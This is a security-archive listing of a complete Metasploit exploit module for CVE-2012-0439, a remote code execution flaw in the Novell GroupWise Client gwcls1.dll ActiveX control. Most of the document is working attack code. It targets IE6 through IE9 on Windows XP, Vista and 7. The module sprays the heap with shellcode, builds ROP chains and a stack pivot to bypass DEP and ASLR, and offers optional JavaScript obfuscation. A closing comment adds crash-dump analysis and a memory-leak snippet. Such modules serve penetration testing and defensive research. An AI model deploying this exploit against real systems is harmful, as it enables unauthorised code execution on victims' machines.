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Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution

Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution
Posted Feb 12, 2013
Authored by rgod, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll ActiveX. Several methods in the GWCalServer control use user provided data as a pointer, which allows to read arbitrary memory and execute arbitrary code. This Metasploit module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The JRE6 needs to be installed to achieve ASLR bypass.

tags | exploit, arbitrary, activex
advisories | CVE-2012-0439, OSVDB-89700
MD5 | c38765c983f0fdcbd12d4ca9699086b6

Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => NormalRanking,
:classid => "{601D7813-408F-11D1-98D7-444553540000}",
:method => "SetEngine"
})


def initialize(info={})
super(update_info(info,
'Name' => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll
ActiveX. Several methods in the GWCalServer control use user provided data as
a pointer, which allows to read arbitrary memory and execute arbitrary code. This
module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The
JRE6 needs to be installed to achieve ASLR bypass.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0439' ],
[ 'OSVDB', '89700' ],
[ 'BID' , '57658' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 1040,
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# gwcls1.dll 12.0.0.8586
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ],
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x3e3' } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3e3' } ],
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3ed' } ]#'0x5fe' } ]
],
'Privileged' => false,
'DisclosureDate' => "Jan 30 2013",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end

return nil
end

def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

# Land the payload at 0x0c0c0c0c
case my_target
when targets[7]
# IE 9 on Windows 7
js = %Q|
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}

function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}

var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_random_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{my_target['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
|

else
# For IE 6, 7, 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def stack_pivot
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
return pivot
end

def get_payload(t, cli)
code = payload.encoded

# No rop. Just return the payload.
return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea
jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
rop_payload << jmp_shell
rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset
rop_payload << [0x77c15ed5].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
rop_payload << stack_pivot
rop_payload << code
else
print_status("Using JRE ROP")
rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea
jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
rop_payload << jmp_shell
rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset
rop_payload << [0x7C348B05].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
rop_payload << stack_pivot
rop_payload << code
end

return rop_payload
end


def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)

trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200

html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object classid='clsid:601D7813-408F-11D1-98D7-444553540000' id ='target'>
</object>
<script>
target.SetEngine(0x0c0c0c0c-0x20);
setInterval(function(){#{trigger}},1000);
</script>
</body>
</html>
|

return html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end


=begin

* Remote Code Exec

(240.8d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll -
eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58
eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
gwenv1!NgwOFErrorEnabledVector<NgwOFAttribute>::SetParent+0x326b9d:
10335e2d 8a8e4f040000 mov cl,byte ptr [esi+44Fh] ds:0023:0c0c103b=??


.text:103BDDEC mov eax, [ebp+var_4] // var_4 => Engine + 0x20
.text:103BDDEF test esi, esi
.text:103BDDF1 jnz short loc_103BDE17
.text:103BDDF3 cmp [eax+426h], esi
.text:103BDDF9 jz short loc_103BDE17 // Check function pointer against nil?
.text:103BDDFB mov ecx, [ebp+arg_8]
.text:103BDDFE mov edx, [ebp+arg_4]
.text:103BDE01 push ecx
.text:103BDE02 mov ecx, [eax+42Ah] // Carefully crafted object allows to control it
.text:103BDE08 push edx
.text:103BDE09 mov edx, [eax+426h] // Carefully crafted object allows to control it
.text:103BDE0F push ecx
.text:103BDE10 call edx // Win!

* Info Leak

// Memory disclosure => 4 bytes from an arbitrary address
// Unstable when info leaking and triggering rce path...
target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll
var leak = target.GetMiscAccess();
alert(leak);

=end

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